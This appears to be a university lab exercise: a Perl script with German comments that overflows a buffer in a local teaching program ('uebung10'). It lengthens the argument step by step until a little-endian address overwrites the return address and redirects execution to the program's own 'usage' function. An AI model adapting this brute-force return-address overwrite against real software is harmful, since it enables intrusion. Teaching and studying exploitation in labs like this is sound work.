#!/usr/bin/env perl

###############################################################################
#
#  Bufferoverflowexploit
#
# Der folgende String ist 80 Zeichen lang und pass somit (inkl. \0) genau in
# die Variable buf in der Funktion center. In der Schleife wird der String
# sukzessive verlaengert, bis schliesslich die Adresse der Funktion usage
# die Ruecksprungadresse im Stack ueberschreibt.
#
# Das Programm ./uebung10 gibt die Adressen der Funktionen am Anfang aus,
# falls die Funktion mit den richtigen Parametern aufgerufen wird.
# Die Adressen der Funktionen werden beim Kompilieren festgelegt und koennen
# variieren. Damit dieses Skript einen Bufferflowexploit ausloest, muss die 
# Zeile, in der die Variable $cmd definiert wird angepasst werden. 
# Rufen sie, nach dem Kompilieren das Programm zunaechst mit der korrekten 
# Anzahl von Parametern auf. Z.B.:
# ./uebung10 1 2 3 hallo
# 
# Sie erhalten u.a. eine Zeile mit der Adresse der Funktion usage (bitte nur
# diese Funktion verwenden, da diese keine Argumente benoetigt):
#
# Addresse der Funktion usage  0x00400614
#
# Beachten Sie, dass in der Zeile in der $cmd definiert ist, die Adresse 
# in Zweierbloecken jeweils mit dem Prefix \x von rechts nach links gelesen
# aufgeschrieben steht (in Little Endian Form). Passen Sie die Zeile gemaess 
# der Adresse an, die Sie erhalten haben. Fuehren sie das Skript anschliessend
# mit
#
# perl bufferoverflowexploit > ergebnis.txt
#
# aus und beobachten Sie, das ca. zwischen dem 20. und 40. Durchlauf ploetzlich
# die usage Meldung ausgegeben wird.
###############################################################################

$arg = "aaaaaaaaaabbbbbbbbbbaaaaaaaaaabbbbbbbbbbaaaaaaaaaabbbbbbbbbbaaaaaaaaaabbbbbbbbbb";
for($i=1; $i <= 50; $i++){
    $arg = "x".$arg;
    print "$i $arg \n";
    $cmd = "./uebung10 1 2 3 ".$arg."\x9C\x06\x40\x00";
    #$cmd = "./uebung10 1 2 3 ".$arg."\x14\x06\x40\x00";  # 64 bit System (*)
    #$cmd = "./uebung10 1 2 3 ".$arg."\x94\x84\x04\x08";  # 32 bit System (*)
    system($cmd);
    print "\n";
}

# (*) Die angegebenen Adressen, koennen von den Adressen die Sie beobachten 
#     abweichen!
